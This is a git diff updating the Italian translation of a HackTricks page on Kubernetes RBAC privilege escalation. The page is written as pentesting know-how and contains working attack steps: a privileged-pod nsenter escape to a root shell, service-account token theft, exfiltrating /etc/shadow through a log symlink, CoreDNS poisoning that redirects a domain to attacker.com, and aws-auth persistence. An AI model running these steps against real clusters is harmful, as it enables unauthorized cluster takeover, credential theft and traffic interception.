mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-18 23:55:38 -08:00
Translated ['src/pentesting-cloud/kubernetes-security/abusing-roles-clus
This commit is contained in:
@@ -17,7 +17,7 @@ Si riferisce all'arte di ottenere **accesso a un diverso principale** all'intern
|
|||||||
|
|
||||||
### Access Any Resource or Verb (Wildcard)
|
### Access Any Resource or Verb (Wildcard)
|
||||||
|
|
||||||
Il **wildcard (\*) concede permesso su qualsiasi risorsa con qualsiasi verbo**. È usato dagli amministratori. All'interno di un ClusterRole questo significa che un attaccante potrebbe abusare di anynamespace nel cluster
|
Il **wildcard (\*) concede permessi su qualsiasi risorsa con qualsiasi verbo**. È usato dagli amministratori. All'interno di un ClusterRole questo significa che un attaccante potrebbe abusare di anynamespace nel cluster
|
||||||
```yaml
|
```yaml
|
||||||
apiVersion: rbac.authorization.k8s.io/v1
|
apiVersion: rbac.authorization.k8s.io/v1
|
||||||
kind: ClusterRole
|
kind: ClusterRole
|
||||||
@@ -33,7 +33,7 @@ verbs: ["*"]
|
|||||||
|
|
||||||
In RBAC, alcune autorizzazioni comportano rischi significativi:
|
In RBAC, alcune autorizzazioni comportano rischi significativi:
|
||||||
|
|
||||||
1. **`create`:** Concede la possibilità di creare qualsiasi risorsa del cluster, rischiando un'escalation dei privilegi.
|
1. **`create`:** Concede la possibilità di creare qualsiasi risorsa del cluster, rischiando un'escursione dei privilegi.
|
||||||
2. **`list`:** Consente di elencare tutte le risorse, potenzialmente rivelando dati sensibili.
|
2. **`list`:** Consente di elencare tutte le risorse, potenzialmente rivelando dati sensibili.
|
||||||
3. **`get`:** Permette di accedere ai segreti degli account di servizio, costituendo una minaccia per la sicurezza.
|
3. **`get`:** Permette di accedere ai segreti degli account di servizio, costituendo una minaccia per la sicurezza.
|
||||||
```yaml
|
```yaml
|
||||||
@@ -49,7 +49,7 @@ verbs: ["create", "list", "get"]
|
|||||||
```
|
```
|
||||||
### Pod Create - Steal Token
|
### Pod Create - Steal Token
|
||||||
|
|
||||||
Un attaccante con i permessi per creare un pod potrebbe allegare un Service Account privilegiato nel pod e rubare il token per impersonare il Service Account. Efficacemente elevando i privilegi.
|
Un attaccante con i permessi per creare un pod potrebbe allegare un Service Account privilegiato nel pod e rubare il token per impersonare il Service Account. In effetti, aumentando i privilegi.
|
||||||
|
|
||||||
Esempio di un pod che ruberà il token del Service Account `bootstrap-signer` e lo invierà all'attaccante:
|
Esempio di un pod che ruberà il token del Service Account `bootstrap-signer` e lo invierà all'attaccante:
|
||||||
```yaml
|
```yaml
|
||||||
@@ -72,13 +72,13 @@ serviceAccountName: bootstrap-signer
|
|||||||
automountServiceAccountToken: true
|
automountServiceAccountToken: true
|
||||||
hostNetwork: true
|
hostNetwork: true
|
||||||
```
|
```
|
||||||
### Creazione e fuga del Pod
|
### Creazione e Fuga del Pod
|
||||||
|
|
||||||
Il seguente indica tutti i privilegi che un container può avere:
|
Il seguente indica tutti i privilegi che un container può avere:
|
||||||
|
|
||||||
- **Accesso privilegiato** (disabilitando le protezioni e impostando le capacità)
|
- **Accesso privilegiato** (disabilitando le protezioni e impostando le capacità)
|
||||||
- **Disabilitare i namespace hostIPC e hostPid** che possono aiutare ad elevare i privilegi
|
- **Disabilitare i namespace hostIPC e hostPid** che possono aiutare ad elevare i privilegi
|
||||||
- **Disabilitare il namespace hostNetwork**, dando accesso per rubare i privilegi cloud dei nodi e un migliore accesso alle reti
|
- **Disabilitare il namespace hostNetwork**, dando accesso per rubare i privilegi cloud dei nodi e un accesso migliore alle reti
|
||||||
- **Montare gli host / all'interno del container**
|
- **Montare gli host / all'interno del container**
|
||||||
```yaml:super_privs.yaml
|
```yaml:super_privs.yaml
|
||||||
apiVersion: v1
|
apiVersion: v1
|
||||||
@@ -123,8 +123,6 @@ One-liner da [questo tweet](https://twitter.com/mauilion/status/1129468485480751
|
|||||||
```bash
|
```bash
|
||||||
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
|
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
|
||||||
```
|
```
|
||||||
Ora che puoi fuggire nel nodo, controlla le tecniche post-exploitation in:
|
|
||||||
|
|
||||||
#### Stealth
|
#### Stealth
|
||||||
|
|
||||||
Probabilmente vuoi essere **più furtivo**, nelle pagine seguenti puoi vedere a cosa potresti accedere se crei un pod abilitando solo alcuni dei privilegi menzionati nel template precedente:
|
Probabilmente vuoi essere **più furtivo**, nelle pagine seguenti puoi vedere a cosa potresti accedere se crei un pod abilitando solo alcuni dei privilegi menzionati nel template precedente:
|
||||||
@@ -136,12 +134,12 @@ Probabilmente vuoi essere **più furtivo**, nelle pagine seguenti puoi vedere a
|
|||||||
- **hostNetwork**
|
- **hostNetwork**
|
||||||
- **hostIPC**
|
- **hostIPC**
|
||||||
|
|
||||||
_Puoi trovare esempi di come creare/abuse le configurazioni di pod privilegiati precedenti in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
_Puoi trovare un esempio di come creare/abuse le configurazioni dei pod privilegiati precedenti in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
|
||||||
|
|
||||||
### Pod Create - Move to cloud
|
### Pod Create - Move to cloud
|
||||||
|
|
||||||
Se puoi **creare** un **pod** (e opzionalmente un **service account**) potresti essere in grado di **ottenere privilegi nell'ambiente cloud** assegnando **ruoli cloud a un pod o a un service account** e poi accedervi.\
|
Se puoi **creare** un **pod** (e opzionalmente un **service account**) potresti essere in grado di **ottenere privilegi nell'ambiente cloud** assegnando **ruoli cloud a un pod o a un service account** e poi accedervi.\
|
||||||
Inoltre, se puoi creare un **pod con il namespace di rete host**, puoi **rubare il ruolo IAM** dell'istanza **node**.
|
Inoltre, se puoi creare un **pod con il namespace di rete host** puoi **rubare il ruolo IAM** dell'istanza **node**.
|
||||||
|
|
||||||
Per ulteriori informazioni controlla:
|
Per ulteriori informazioni controlla:
|
||||||
|
|
||||||
@@ -197,10 +195,15 @@ Pertanto, è possibile **entrare in un pod e rubare il token del SA**, o entrare
|
|||||||
```bash
|
```bash
|
||||||
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
|
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
|
||||||
```
|
```
|
||||||
|
> [!NOTE]
|
||||||
|
> Per impostazione predefinita, il comando viene eseguito nel primo container del pod. Ottieni **tutti i pod in un container** con `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` e poi **indica il container** in cui vuoi eseguirlo con `kubectl exec -it <pod_name> -c <container_name> -- sh`
|
||||||
|
|
||||||
|
Se si tratta di un container distroless, puoi provare a utilizzare **shell builtins** per ottenere informazioni sui container o caricare i tuoi strumenti come un **busybox** usando: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
|
||||||
|
|
||||||
### port-forward
|
### port-forward
|
||||||
|
|
||||||
Questo permesso consente di **inoltrare una porta locale a una porta nel pod specificato**. Questo è pensato per poter eseguire il debug delle applicazioni in esecuzione all'interno di un pod facilmente, ma un attaccante potrebbe abusarne per ottenere accesso a applicazioni interessanti (come DB) o vulnerabili (web?) all'interno di un pod:
|
Questa autorizzazione consente di **inoltrare una porta locale a una porta nel pod specificato**. Questo è pensato per poter eseguire il debug delle applicazioni in esecuzione all'interno di un pod facilmente, ma un attaccante potrebbe abusarne per accedere a applicazioni interessanti (come DB) o vulnerabili (web?) all'interno di un pod:
|
||||||
```
|
```bash
|
||||||
kubectl port-forward pod/mypod 5000:5000
|
kubectl port-forward pod/mypod 5000:5000
|
||||||
```
|
```
|
||||||
### Hosts Writable /var/log/ Escape
|
### Hosts Writable /var/log/ Escape
|
||||||
@@ -211,7 +214,7 @@ Il servizio Kubelet espone l'endpoint `/logs/` che è fondamentalmente **l'espos
|
|||||||
|
|
||||||
Pertanto, un attaccante con **accesso in scrittura nella cartella /var/log/** del container potrebbe abusare di questo comportamento in 2 modi:
|
Pertanto, un attaccante con **accesso in scrittura nella cartella /var/log/** del container potrebbe abusare di questo comportamento in 2 modi:
|
||||||
|
|
||||||
- Modificando il file `0.log` del proprio container (di solito situato in `/var/logs/pods/namespace_pod_uid/container/0.log`) per essere un **symlink che punta a `/etc/shadow`** per esempio. Poi, sarai in grado di esfiltrare il file shadow degli host facendo:
|
- Modificando il file `0.log` del suo container (di solito situato in `/var/logs/pods/namespace_pod_uid/container/0.log`) per essere un **symlink che punta a `/etc/shadow`** per esempio. Poi, sarai in grado di esfiltrare il file shadow degli host facendo:
|
||||||
```bash
|
```bash
|
||||||
kubectl logs escaper
|
kubectl logs escaper
|
||||||
failed to get parse function: unsupported log format: "root::::::::\n"
|
failed to get parse function: unsupported log format: "root::::::::\n"
|
||||||
@@ -247,7 +250,7 @@ allowedHostPaths:
|
|||||||
- pathPrefix: "/foo"
|
- pathPrefix: "/foo"
|
||||||
readOnly: true
|
readOnly: true
|
||||||
```
|
```
|
||||||
Che era destinato a prevenire le fughe come quelle precedenti, utilizzando invece di un mount hostPath, un PersistentVolume e un PersistentVolumeClaim per montare una cartella dell'host nel contenitore con accesso in scrittura:
|
Che doveva prevenire le fughe come quelle precedenti utilizzando, invece di un mount hostPath, un PersistentVolume e un PersistentVolumeClaim per montare una cartella dell'host nel contenitore con accesso in scrittura:
|
||||||
```yaml
|
```yaml
|
||||||
apiVersion: v1
|
apiVersion: v1
|
||||||
kind: PersistentVolume
|
kind: PersistentVolume
|
||||||
@@ -295,9 +298,9 @@ name: task-pv-storage-vol
|
|||||||
```
|
```
|
||||||
### **Impersonare account privilegiati**
|
### **Impersonare account privilegiati**
|
||||||
|
|
||||||
Con un privilegio di [**impersonificazione utente**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), un attaccante potrebbe impersonare un account privilegiato.
|
Con un privilegio di [**impersonificazione dell'utente**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), un attaccante potrebbe impersonare un account privilegiato.
|
||||||
|
|
||||||
Basta usare il parametro `--as=<username>` nel comando `kubectl` per impersonare un utente, o `--as-group=<group>` per impersonare un gruppo:
|
Basta utilizzare il parametro `--as=<username>` nel comando `kubectl` per impersonare un utente, o `--as-group=<group>` per impersonare un gruppo:
|
||||||
```bash
|
```bash
|
||||||
kubectl get pods --as=system:serviceaccount:kube-system:default
|
kubectl get pods --as=system:serviceaccount:kube-system:default
|
||||||
kubectl get secrets --as=null --as-group=system:masters
|
kubectl get secrets --as=null --as-group=system:masters
|
||||||
@@ -377,7 +380,7 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
|
|||||||
"type": "kubernetes.io/service-account-token"
|
"type": "kubernetes.io/service-account-token"
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Nota che se ti è permesso creare e leggere segreti in un certo namespace, il serviceaccount della vittima deve trovarsi nello stesso namespace.
|
Nota che se ti è permesso creare e leggere segreti in un certo namespace, il serviceaccount della vittima deve trovarsi anche in quel namespace.
|
||||||
|
|
||||||
### Lettura di un segreto – forzatura dei token ID
|
### Lettura di un segreto – forzatura dei token ID
|
||||||
|
|
||||||
@@ -433,7 +436,7 @@ Il modo per bypassare questo è semplicemente **creare una credenziale del nodo
|
|||||||
```
|
```
|
||||||
### AWS EKS aws-auth configmaps
|
### AWS EKS aws-auth configmaps
|
||||||
|
|
||||||
I principi che possono modificare **`configmaps`** nello spazio dei nomi kube-system su cluster EKS (devono essere in AWS) possono ottenere privilegi di amministratore del cluster sovrascrivendo il **configmap** **aws-auth**.\
|
I principali che possono modificare **`configmaps`** nello spazio dei nomi kube-system su cluster EKS (devono essere in AWS) possono ottenere privilegi di amministratore del cluster sovrascrivendo il **configmap** **aws-auth**.\
|
||||||
I verbi necessari sono **`update`** e **`patch`**, o **`create`** se il configmap non è stato creato:
|
I verbi necessari sono **`update`** e **`patch`**, o **`create`** se il configmap non è stato creato:
|
||||||
```bash
|
```bash
|
||||||
# Check if config map exists
|
# Check if config map exists
|
||||||
@@ -474,18 +477,58 @@ groups:
|
|||||||
- system:masters
|
- system:masters
|
||||||
```
|
```
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Puoi usare **`aws-auth`** per **persistenza** dando accesso a utenti di **altri account**.
|
> Puoi usare **`aws-auth`** per la **persistenza** dando accesso a utenti di **altri account**.
|
||||||
>
|
>
|
||||||
> Tuttavia, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **non funziona da un account diverso**. Ma in realtà `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` funziona se metti l'ARN del cluster invece del solo nome.\
|
> Tuttavia, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **non funziona da un account diverso**. Ma in realtà `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` funziona se metti l'ARN del cluster invece del solo nome.\
|
||||||
> Per far funzionare `kubectl`, assicurati di **configurare** il **kubeconfig della vittima** e negli argomenti di esecuzione di aws aggiungi `--profile other_account_role` in modo che kubectl utilizzi il profilo dell'altro account per ottenere il token e contattare AWS.
|
> Per far funzionare `kubectl`, assicurati di **configurare** il **kubeconfig della vittima** e negli argomenti di esecuzione di aws aggiungi `--profile other_account_role` in modo che kubectl utilizzi il profilo dell'altro account per ottenere il token e contattare AWS.
|
||||||
|
|
||||||
### Escalating in GKE
|
### CoreDNS config map
|
||||||
|
|
||||||
|
Se hai i permessi per modificare il **`coredns` configmap** nel namespace `kube-system`, puoi modificare gli indirizzi a cui i domini verranno risolti per poter eseguire attacchi MitM per **rubare informazioni sensibili o iniettare contenuti malevoli**.
|
||||||
|
|
||||||
|
I verbi necessari sono **`update`** e **`patch`** sul **`coredns`** configmap (o su tutte le config maps).
|
||||||
|
|
||||||
|
Un normale **file coredns** contiene qualcosa di simile:
|
||||||
|
```yaml
|
||||||
|
data:
|
||||||
|
Corefile: |
|
||||||
|
.:53 {
|
||||||
|
log
|
||||||
|
errors
|
||||||
|
health {
|
||||||
|
lameduck 5s
|
||||||
|
}
|
||||||
|
ready
|
||||||
|
kubernetes cluster.local in-addr.arpa ip6.arpa {
|
||||||
|
pods insecure
|
||||||
|
fallthrough in-addr.arpa ip6.arpa
|
||||||
|
ttl 30
|
||||||
|
}
|
||||||
|
prometheus :9153
|
||||||
|
hosts {
|
||||||
|
192.168.49.1 host.minikube.internal
|
||||||
|
fallthrough
|
||||||
|
}
|
||||||
|
forward . /etc/resolv.conf {
|
||||||
|
max_concurrent 1000
|
||||||
|
}
|
||||||
|
cache 30
|
||||||
|
loop
|
||||||
|
reload
|
||||||
|
loadbalance
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Un attaccante potrebbe scaricarlo eseguendo `kubectl get configmap coredns -n kube-system -o yaml`, modificarlo aggiungendo qualcosa come `rewrite name victim.com attacker.com` in modo che ogni volta che si accede a `victim.com`, in realtà si accede al dominio `attacker.com`. E poi applicarlo eseguendo `kubectl apply -f poison_dns.yaml`.
|
||||||
|
|
||||||
|
Un'altra opzione è semplicemente modificare il file eseguendo `kubectl edit configmap coredns -n kube-system` e apportando modifiche.
|
||||||
|
|
||||||
|
### Escalation in GKE
|
||||||
|
|
||||||
Ci sono **2 modi per assegnare permessi K8s ai principi GCP**. In ogni caso, il principio ha anche bisogno del permesso **`container.clusters.get`** per poter raccogliere le credenziali per accedere al cluster, oppure dovrai **generare il tuo file di configurazione kubectl** (segui il link successivo).
|
Ci sono **2 modi per assegnare permessi K8s ai principi GCP**. In ogni caso, il principio ha anche bisogno del permesso **`container.clusters.get`** per poter raccogliere le credenziali per accedere al cluster, oppure dovrai **generare il tuo file di configurazione kubectl** (segui il link successivo).
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Quando si parla con l'endpoint API K8s, il **token di autenticazione GCP verrà inviato**. Poi, GCP, attraverso l'endpoint API K8s, controllerà prima **se il principio** (per email) **ha accesso all'interno del cluster**, poi controllerà se ha **accesso tramite GCP IAM**.\
|
> Quando si parla con l'endpoint API K8s, il **token di autenticazione GCP verrà inviato**. Poi, GCP, attraverso l'endpoint API K8s, controllerà prima **se il principio** (per email) **ha accesso all'interno del cluster**, poi controllerà se ha **accesso tramite GCP IAM**.\
|
||||||
> Se **qualcuna** di queste è **vera**, riceverà una **risposta**. Se **no**, verrà fornito un **errore** che suggerisce di dare **permessi tramite GCP IAM**.
|
> Se **qualcuno** di questi è **vero**, riceverà una **risposta**. Se **no**, verrà fornito un **errore** che suggerisce di dare **permessi tramite GCP IAM**.
|
||||||
|
|
||||||
Quindi, il primo metodo è utilizzare **GCP IAM**, i permessi K8s hanno i loro **permessi equivalenti GCP IAM**, e se il principio li ha, potrà usarli.
|
Quindi, il primo metodo è utilizzare **GCP IAM**, i permessi K8s hanno i loro **permessi equivalenti GCP IAM**, e se il principio li ha, potrà usarli.
|
||||||
|
|
||||||
@@ -495,28 +538,28 @@ Quindi, il primo metodo è utilizzare **GCP IAM**, i permessi K8s hanno i loro *
|
|||||||
|
|
||||||
Il secondo metodo è **assegnare permessi K8s all'interno del cluster** identificando l'utente tramite la sua **email** (inclusi gli account di servizio GCP).
|
Il secondo metodo è **assegnare permessi K8s all'interno del cluster** identificando l'utente tramite la sua **email** (inclusi gli account di servizio GCP).
|
||||||
|
|
||||||
### Create serviceaccounts token
|
### Creare token serviceaccounts
|
||||||
|
|
||||||
Principi che possono **creare TokenRequests** (`serviceaccounts/token`) Quando si parla con l'endpoint API K8s SAs (info da [**qui**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
Principi che possono **creare TokenRequests** (`serviceaccounts/token`) quando si parla con l'endpoint API K8s SAs (info da [**qui**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
|
||||||
|
|
||||||
### ephemeralcontainers
|
### ephemeralcontainers
|
||||||
|
|
||||||
Principi che possono **`update`** o **`patch`** **`pods/ephemeralcontainers`** possono ottenere **esecuzione di codice su altri pod**, e potenzialmente **uscire** al loro nodo aggiungendo un container effimero con un securityContext privilegiato.
|
I principi che possono **`update`** o **`patch`** **`pods/ephemeralcontainers`** possono ottenere **esecuzione di codice su altri pod**, e potenzialmente **uscire** al loro nodo aggiungendo un contenitore effimero con un securityContext privilegiato.
|
||||||
|
|
||||||
### ValidatingWebhookConfigurations o MutatingWebhookConfigurations
|
### ValidatingWebhookConfigurations o MutatingWebhookConfigurations
|
||||||
|
|
||||||
Principi con uno dei verbi `create`, `update` o `patch` su `validatingwebhookconfigurations` o `mutatingwebhookconfigurations` potrebbero essere in grado di **creare una di queste webhookconfigurations** per poter **escalare i privilegi**.
|
I principi con uno dei verbi `create`, `update` o `patch` su `validatingwebhookconfigurations` o `mutatingwebhookconfigurations` potrebbero essere in grado di **creare una di queste webhookconfigurations** per poter **escalare i privilegi**.
|
||||||
|
|
||||||
Per un [`mutatingwebhookconfigurations` esempio controlla questa sezione di questo post](#malicious-admission-controller).
|
Per un [`mutatingwebhookconfigurations` esempio controlla questa sezione di questo post](#malicious-admission-controller).
|
||||||
|
|
||||||
### Escalate
|
### Escalate
|
||||||
|
|
||||||
Come puoi leggere nella sezione successiva: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), un principio non può aggiornare né creare ruoli o clusterroles senza avere lui stesso quei nuovi permessi. Tranne se ha il **verbo `escalate`** su **`roles`** o **`clusterroles`**.\
|
Come puoi leggere nella sezione successiva: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), un principio non può aggiornare né creare ruoli o clusterroles senza avere lui stesso quei nuovi permessi. A meno che non abbia il **verbo `escalate` o `*`** su **`roles`** o **`clusterroles`** e le rispettive opzioni di binding.\
|
||||||
Allora può aggiornare/creare nuovi ruoli, clusterroles con permessi migliori di quelli che ha.
|
Allora può aggiornare/creare nuovi ruoli, clusterroles con permessi migliori di quelli che ha.
|
||||||
|
|
||||||
### Nodes proxy
|
### Nodes proxy
|
||||||
|
|
||||||
Principi con accesso alla **`nodes/proxy`** subrisorsa possono **eseguire codice su pod** tramite l'API Kubelet (secondo [**questo**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Maggiori informazioni sull'autenticazione Kubelet in questa pagina:
|
I principi con accesso alla **`nodes/proxy`** subrisorsa possono **eseguire codice su pod** tramite l'API Kubelet (secondo [**questo**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Maggiori informazioni sull'autenticazione Kubelet in questa pagina:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||||
@@ -524,9 +567,9 @@ Principi con accesso alla **`nodes/proxy`** subrisorsa possono **eseguire codice
|
|||||||
|
|
||||||
Hai un esempio di come ottenere [**RCE parlando autorizzato a un'API Kubelet qui**](../pentesting-kubernetes-services/index.html#kubelet-rce).
|
Hai un esempio di come ottenere [**RCE parlando autorizzato a un'API Kubelet qui**](../pentesting-kubernetes-services/index.html#kubelet-rce).
|
||||||
|
|
||||||
### Delete pods + unschedulable nodes
|
### Eliminare pod + nodi non pianificabili
|
||||||
|
|
||||||
Principi che possono **eliminare pod** (`delete` verbo su `pods` risorsa), o **espellere pod** (`create` verbo su `pods/eviction` risorsa), o **cambiare lo stato del pod** (accesso a `pods/status`) e possono **rendere altri nodi non programmabili** (accesso a `nodes/status`) o **eliminare nodi** (`delete` verbo su `nodes` risorsa) e hanno controllo su un pod, potrebbero **rubare pod da altri nodi** in modo che siano **eseguiti** nel **nodo compromesso** e l'attaccante può **rubare i token** da quei pod.
|
I principi che possono **eliminare pod** (`delete` verb su `pods` resource), o **evictare pod** (`create` verb su `pods/eviction` resource), o **cambiare lo stato del pod** (accesso a `pods/status`) e possono **rendere altri nodi non pianificabili** (accesso a `nodes/status`) o **eliminare nodi** (`delete` verb su `nodes` resource) e hanno il controllo su un pod, potrebbero **rubare pod da altri nodi** in modo che vengano **eseguiti** nel **nodo compromesso** e l'attaccante può **rubare i token** da quei pod.
|
||||||
```bash
|
```bash
|
||||||
patch_node_capacity(){
|
patch_node_capacity(){
|
||||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||||
@@ -539,7 +582,7 @@ kubectl delete pods -n kube-system <privileged_pod_name>
|
|||||||
```
|
```
|
||||||
### Stato dei servizi (CVE-2020-8554)
|
### Stato dei servizi (CVE-2020-8554)
|
||||||
|
|
||||||
I principi che possono **modificare** **`services/status`** possono impostare il campo `status.loadBalancer.ingress.ip` per sfruttare il **CVE-2020-8554 non corretto** e lanciare **attacchi MiTM contro il cluster**. La maggior parte delle mitigazioni per CVE-2020-8554 previene solo i servizi ExternalIP (secondo [**questo**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
I principi che possono **modificare** **`services/status`** possono impostare il campo `status.loadBalancer.ingress.ip` per sfruttare il **CVE-2020-8554 non corretto** e lanciare **attacchi MiTM contro il cluster**. La maggior parte delle mitigazioni per il CVE-2020-8554 previene solo i servizi ExternalIP (secondo [**questo**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||||
|
|
||||||
### Stato dei nodi e dei pod
|
### Stato dei nodi e dei pod
|
||||||
|
|
||||||
@@ -549,9 +592,9 @@ I principi con permessi **`update`** o **`patch`** su `nodes/status` o `pods/sta
|
|||||||
|
|
||||||
Kubernetes ha un [meccanismo integrato](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) per prevenire l'escalation dei privilegi.
|
Kubernetes ha un [meccanismo integrato](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) per prevenire l'escalation dei privilegi.
|
||||||
|
|
||||||
Questo sistema garantisce che **gli utenti non possano elevare i propri privilegi modificando ruoli o binding di ruolo**. L'applicazione di questa regola avviene a livello API, fornendo una protezione anche quando l'autorizzatore RBAC è inattivo.
|
Questo sistema garantisce che **gli utenti non possano elevare i propri privilegi modificando ruoli o binding di ruoli**. L'applicazione di questa regola avviene a livello API, fornendo una protezione anche quando l'autorizzatore RBAC è inattivo.
|
||||||
|
|
||||||
La regola stabilisce che un **utente può creare o aggiornare un ruolo solo se possiede tutti i permessi che il ruolo comprende**. Inoltre, l'ambito dei permessi esistenti dell'utente deve allinearsi con quello del ruolo che stanno tentando di creare o modificare: sia a livello cluster-wide per i ClusterRoles o confinato allo stesso namespace (o cluster-wide) per i Roles.
|
La regola stabilisce che un **utente può creare o aggiornare un ruolo solo se possiede tutti i permessi di cui il ruolo è composto**. Inoltre, l'ambito dei permessi esistenti dell'utente deve allinearsi a quello del ruolo che sta tentando di creare o modificare: o a livello cluster-wide per i ClusterRoles o confinato allo stesso namespace (o cluster-wide) per i Roles.
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> C'è un'eccezione a questa regola precedente. Se un principio ha il **verbo `escalate`** su **`roles`** o **`clusterroles`**, può aumentare i privilegi di ruoli e clusterroles anche senza avere i permessi lui stesso.
|
> C'è un'eccezione a questa regola precedente. Se un principio ha il **verbo `escalate`** su **`roles`** o **`clusterroles`**, può aumentare i privilegi di ruoli e clusterroles anche senza avere i permessi lui stesso.
|
||||||
@@ -567,57 +610,31 @@ Il privilegio di creare Rolebindings consente a un utente di **associare ruoli a
|
|||||||
|
|
||||||
### App proxy Sidecar
|
### App proxy Sidecar
|
||||||
|
|
||||||
Per impostazione predefinita non c'è alcuna crittografia nella comunicazione tra i pod. Autenticazione reciproca, bidirezionale, pod a pod.
|
Per impostazione predefinita non c'è alcuna crittografia nella comunicazione tra i pod. Autenticazione reciproca, bidirezionale, da pod a pod.
|
||||||
|
|
||||||
#### Crea un'app proxy Sidecar <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>
|
#### Crea un'app proxy Sidecar
|
||||||
|
|
||||||
Crea il tuo .yaml
|
Un contenitore sidecar consiste semplicemente nell'aggiungere un **secondo (o più) contenitore all'interno di un pod**.
|
||||||
```bash
|
|
||||||
kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'
|
Ad esempio, quanto segue è parte della configurazione di un pod con 2 contenitori:
|
||||||
```
|
|
||||||
Modifica il tuo .yaml e aggiungi le righe non commentate:
|
|
||||||
```yaml
|
```yaml
|
||||||
#apiVersion: v1
|
spec:
|
||||||
#kind: Pod
|
containers:
|
||||||
#metadata:
|
- name: main-application
|
||||||
# name: security-context-demo
|
image: nginx
|
||||||
#spec:
|
- name: sidecar-container
|
||||||
# securityContext:
|
image: busybox
|
||||||
# runAsUser: 1000
|
command: ["sh","-c","<execute something in the same pod but different container>"]
|
||||||
# runAsGroup: 3000
|
|
||||||
# fsGroup: 2000
|
|
||||||
# volumes:
|
|
||||||
# - name: sec-ctx-vol
|
|
||||||
# emptyDir: {}
|
|
||||||
# containers:
|
|
||||||
# - name: sec-ctx-demo
|
|
||||||
# image: busybox
|
|
||||||
command:
|
|
||||||
[
|
|
||||||
"sh",
|
|
||||||
"-c",
|
|
||||||
"apt update && apt install iptables -y && iptables -L && sleep 1h",
|
|
||||||
]
|
|
||||||
securityContext:
|
|
||||||
capabilities:
|
|
||||||
add: ["NET_ADMIN"]
|
|
||||||
# volumeMounts:
|
|
||||||
# - name: sec-ctx-vol
|
|
||||||
# mountPath: /data/demo
|
|
||||||
# securityContext:
|
|
||||||
# allowPrivilegeEscalation: true
|
|
||||||
```
|
```
|
||||||
Vedi i log del proxy:
|
Ad esempio, per inserire un backdoor in un pod esistente con un nuovo container, potresti semplicemente aggiungere un nuovo container nella specifica. Nota che potresti **dare più permessi** al secondo container che il primo non avrà.
|
||||||
```bash
|
|
||||||
kubectl logs app -C proxy
|
Maggiore informazione su: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||||
```
|
|
||||||
More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
|
||||||
|
|
||||||
### Malicious Admission Controller
|
### Malicious Admission Controller
|
||||||
|
|
||||||
Un admission controller **intercetta le richieste al server API di Kubernetes** prima della persistenza dell'oggetto, ma **dopo che la richiesta è stata autenticata** **e autorizzata**.
|
Un admission controller **intercetta le richieste al server API di Kubernetes** prima della persistenza dell'oggetto, ma **dopo che la richiesta è stata autenticata** **e autorizzata**.
|
||||||
|
|
||||||
Se un attaccante riesce in qualche modo a **iniettare un Mutationg Admission Controller**, sarà in grado di **modificare richieste già autenticate**. Essere in grado di potenzialmente privesc, e più comunemente persistere nel cluster.
|
